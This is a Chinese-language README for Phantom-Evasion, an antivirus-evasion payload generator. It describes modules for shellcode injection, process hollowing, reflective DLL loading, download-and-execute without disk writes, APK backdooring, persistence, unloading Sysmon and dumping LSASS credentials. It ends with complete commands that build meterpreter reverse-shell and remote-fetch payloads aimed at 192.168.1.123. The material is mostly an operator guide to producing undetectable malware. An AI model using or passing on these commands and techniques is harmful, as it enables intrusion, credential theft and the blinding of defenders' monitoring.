Phantom-Evasion 是一款用 Python 编写的防病毒规避工具(同时兼容 Python 和 Python3),能够生成(几乎)完全无法检测的可执行文件,即使使用最常见的 x86 msfvenom 载荷也能做到。
以下操作系统官方支持自动安装:
以下操作系统可能支持自动安装,但需要手动安装 metasploit-framework:
以下操作系统需要手动安装:
只需 git clone 或下载并解压 Phantom-Evasion 文件夹。
自动安装:打开终端并执行:
python3 phantom-evasion.py --setup
或:
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
或者以交互模式启动 phantom-evasion,然后选择选项 7。
python3 phantom-evasion.py
或:
./phantom-evasion.py
python3 phantom-evasion.py --help
或:
./phantom-evasion.py --help
每个 Windows 载荷 C 模块均可编译(同时支持 x86 和 x64)为 EXE 或 DLL/ReflectiveDLL。
支持随机垃圾代码注入(可设置强度、频率和重新注入概率)以及 Windows 防病毒规避技术(可设置频率)。
在 Shellcode 注入和 Download Exec 模块中均支持多字节 Xor/Vigenere Shellcode/文件加密。
支持 Ntdll unhookapi 和 Peb 进程伪装技术。
支持多种执行模式(本地和远程)。
支持多种载荷内存分配模式(Virtual_RWX、Virtual_RW/RX、Virtual_RW/RWX、Heap_RWX)。
可设置 Windows API 的动态加载。
支持证书欺骗和签名。
支持 Msfvenom Windows 载荷和自定义 Shellcode。 Shellcode 可存储为资源,并在运行时通过 FindResource API 检索。
支持的 Shellcode 加密方式:
1. 无
2. 多字节异或
3. 双密钥多字节异或
4. 维吉尼亚密码
5. 双密钥维吉尼亚密码
本地执行方法可以是以下之一:
Thread
APC
本地内存分配模式可以是以下之一:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
远程执行方法可以是以下之一:
ThreadExecutionHijack(缩写为 TEH)
Processinject(缩写为 PI)
APCSpray(缩写为 APCS)
EarlyBird(缩写为 EB)
EntryPointHijack(缩写为 EPH)
远程内存分配模式可以是以下之一:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
纯 C meterpreter 存根(TCP/HTTP/HTTPS)模块,兼容 msfconsole 和 Cobalt Strike Beacon。(reverse_tcp/reverse_http/reverse_https)
使用命令行模式:
reverse_tcp c 存根为 WRT
reverse_http c 存根为 WRH
reverse_https c 存根为 WRS
本地执行方法可以是以下之一:
Thread
APC
本地内存分配模式可以是以下之一:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
从提供的 URL 下载 exe/dll 到内存中,并在远程进程中执行/加载(无需写入磁盘)。
支持的加密下载 EXE/DLL:
1. 无
2. 多字节异或
3. 双密钥多字节异或
4. 维吉尼亚密码
5. 双密钥维吉尼亚密码
加密后的 DLL/EXE 将保存为原始文件名 + "crypt" + ".dll" 或 ".exe",即需要下载的文件。
Windows DownloadExecExe 无磁盘写入(命令行模式下为 WDE):
远程执行方法可以是以下之一:
ProcessHollowing(缩写为 PH)
Windows DownloadExecDll 无磁盘写入(命令行模式下为 WDD):
远程加载方法可以是以下之一:
ReflectiveDll(缩写为 RD)
RDAPC(ReflectiveDllAPC)
ManualMap(缩写为 MM)---> 仅 x86
支持 Msfvenom Linux 载荷和自定义 Shellcode。
Android Msfvenom 混淆后门:
混淆 msfvenom 载荷并重建(smali/baksmali)使用 apktool。 混淆后的载荷可用于对良性 apk 文件进行后门植入。
Windows Persistence RegCreateKeyExW 添加注册表项(C) 编译后的可执行文件需要上传到目标机器,并以要添加到启动项的完整文件路径作为参数执行。
Windows Persistence REG 添加注册表项(CMD) 此模块生成持久化命令行载荷(通过 REG.exe 添加注册表项)。
Windows Persistence 保持进程存活(C) 编译后的可执行文件需要上传到目标机器并执行。 使用 CreateToolSnapshoot ProcessFirst 和 ProcessNext 每 X 秒检查指定进程是否存活(如果不存在,则使用 WinExec API 创建新进程)。
Windows Persistence Schtasks(CMD)
此模块生成持久化命令行载荷(使用 Schtasks.exe)。
Windows Persistence 创建服务(CMD)
此模块生成持久化命令行载荷(使用 sc.exe)。
Windows DuplicateTokenEx(C)
使用从另一个进程克隆的令牌创建新进程。 编译后的可执行文件需要上传到目标机器并执行。
Windows Unload Sysmon(C) 卸载 sysmon 驱动程序,导致系统停止记录 sysmon 事件日志。 编译后的可执行文件需要上传到目标机器并执行。
Windows Unload Sysmon(CMD) 卸载 sysmon 驱动程序,导致系统停止记录 sysmon 事件日志。
Windows Attrib 隐藏文件(CMD) 使用 attrib 隐藏文件
Windows SetFileAttribute 隐藏(C) 使用 SetFileAttribute API 隐藏文件。 编译后的可执行文件需要上传到目标机器并执行。
Windows DumpLsass(C) 使用 MiniWriteDumpWrite API 转储 Lsass。 编译后的可执行文件需要上传到目标机器并执行。
Windows DumpLsass(CMD)
从命令行转储 Lsass。
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf